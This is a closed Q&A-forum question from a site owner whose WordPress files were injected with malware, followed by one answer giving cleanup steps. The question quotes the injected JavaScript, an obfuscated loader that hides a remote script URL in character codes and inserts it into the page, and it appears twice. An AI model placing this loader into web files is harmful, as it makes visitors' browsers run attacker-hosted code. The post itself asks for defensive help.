Questions that are too localized (such as syntax errors, code with restricted access, hacked sites, hosting or support issues) are not in scope. See how do I ask a good question?

Closed 5 years ago.

recently i noticed with my sites are injected by this malware. Interestingly I was not even using this plugin and it was able to affect all my files, including .php.

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Can anyone help me protect my .js from injection? I use nginx!

Questions that are too localized (such as syntax errors, code with restricted access, hacked sites, hosting or support issues) are not in scope. See how do I ask a good question?

Closed 5 years ago.

recently i noticed with my sites are injected by this malware. Interestingly I was not even using this plugin and it was able to affect all my files, including .php.

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Can anyone help me protect my .js from injection? I use nginx!

• javascript

1 Answer 1

YOu need to do a full cleanup of your site, including

• changing all credentials (hosting, FTP, admin users)
• updating everything (WP, themes, plugins); perhaps even installing via FTP
• check every file for inserted code: index.php, wp-settings.php, wp-config.php
• change credentials on the database (strong passwords!)
• look at htaccess file, and any hidden files.

My procedure is here: https://www.securitydawg/recovering-from-a-hacked-wordpress-site/ . ANd there are some other articles to get rid of that particular one, but my procedure is a good start.

Good luck!